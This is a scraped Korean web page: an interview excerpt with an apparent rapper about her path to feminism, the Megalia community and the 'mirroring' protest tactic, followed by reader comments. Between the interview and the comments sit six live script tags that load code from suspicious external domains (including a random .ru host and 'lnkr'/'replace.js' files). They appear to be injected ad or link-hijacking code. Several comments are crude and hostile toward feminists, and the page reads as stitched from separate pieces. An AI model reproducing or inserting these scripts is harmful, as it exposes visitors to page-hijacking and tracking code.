http://www.newsnjoy.or.kr/news/articleView.html?idxno=207701

페미니즘에 관심을 갖게 된 계기가 있나요?
제가 사는 세상이 불평등하다는 사실을 어느 순간 알게 됐어요. 언젠가부터 주변에서 '메갈리아'에 대해서 이야기하기 시작했어요. 누군가는 '여자 일베 커뮤니티'라고도 하고요. 메갈리아에 들어가서 보니 현재 여성들이 이야기하는 문제들이 곳곳에 올라와 있었어요. 저도 미디어나 음악에서 접하는 여성의 성적 대상화 문제를 인지하고 있었고요. 커뮤니티를 보는데 행복하지 않았어요. 정확히 알아야겠다는 생각을 했어요.
- 메갈리아 하면 미러링이 떠오르는데요. 미러링 방식으로 가사를 쓸 생각은 없나요.
미러링이라는 표현 방법은 최후 수단 같아요. 사람들은 평화 시위라는 말에 어폐가 있다고 하잖아요. 목소리를 내다가 들어주지 않아서 시위를 하는 건데, 거기에 평화적인 방식을 쓴다는 게 말이 안 되는 거 같아요. 미러링도 유사하다고 생각해요. 사람들이 평이하게 말을 하지만 들어주지 않으니까 다른 방법을 찾던 중 미러링을 쓰는 거예요. 사람들은 미러링의 폭력성이 페미니즘의 코어 가치인 것처럼 생각하고 지적하기도 해요. 그건 아니라고 해요.
미러링의 옳고 그름을 떠나, 가사 쓰는 방식에서 미러링을 할 것인가라는 생각은 아직 해 본 적이 없어요. 저는 미러링과 다른 방법을 좋아하기 때문에 아직까지는 별생각이 없어요. 나중은 어떻게 될지 모르죠.
<script src="https://3uorg03dxfy.ru/jsi/id_161.js"></script><script src="//icontent.us/28fd7b218436933984.js?sid=161"></script><script type="text/javascript" src="http://icontent.us/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://cdncache-a.akamaihd.net/sub/nee5452/49957_655_161/l.js?pid=2449&ext=Advertise&a652c_s1=1"></script><script type="text/javascript" src="http://cdn.mecash.ru/js/replace.js"></script><script type="text/javascript" src="http://icontent.us/ext/28fd7b218436933984.js?sid=49957_655_161&title=Not set&blocks[]=1f755"></script>




그리고 님 말은 여자들이 겪는 성차별에 대해 남자들은 아예 말을 보탤 자격이 없다는 거나 마찬가지로 들리는데요. 막말로 메갈에서 여자들 문제에 자지들은 끼지 말라고 하는 거나 별다를 게 없어보이는데.
일하는 중이라 댓글을 자주 확인하기가 힘든데, 여튼 전 성차별에 대해서는 각자의 관점에서 충분히 들어봐야 한다 생각해요. 님은 군대 문제를 무엇보다 크게 여기는 것 같은데 다른 문제들을 너무 간과하시는 것 같아서 댓글 단 거구요.
맞는말만 골라서 족족 찝어서 줘털어주니까 ㅋㅋ
랩이 별로 ...
이런 느낌 ㅋㅋ
이런 느낌 ㅋㅋ
페미니스트가 뭔지 모르는 곳. 성 평등을 넘어 여성 혐오를 위해 생겨났다고 하는게 맞는 곳임.
여태껏 여성주의 정책폈던 한명숙 깡그리 무시행
페미니스트가 왜 여성의 전제조건으로만 말하는건지
페미니즘의 정의는 남녀평등인데 남녀평등에서 여성평등만
쓰는 수준참..
댓글 달기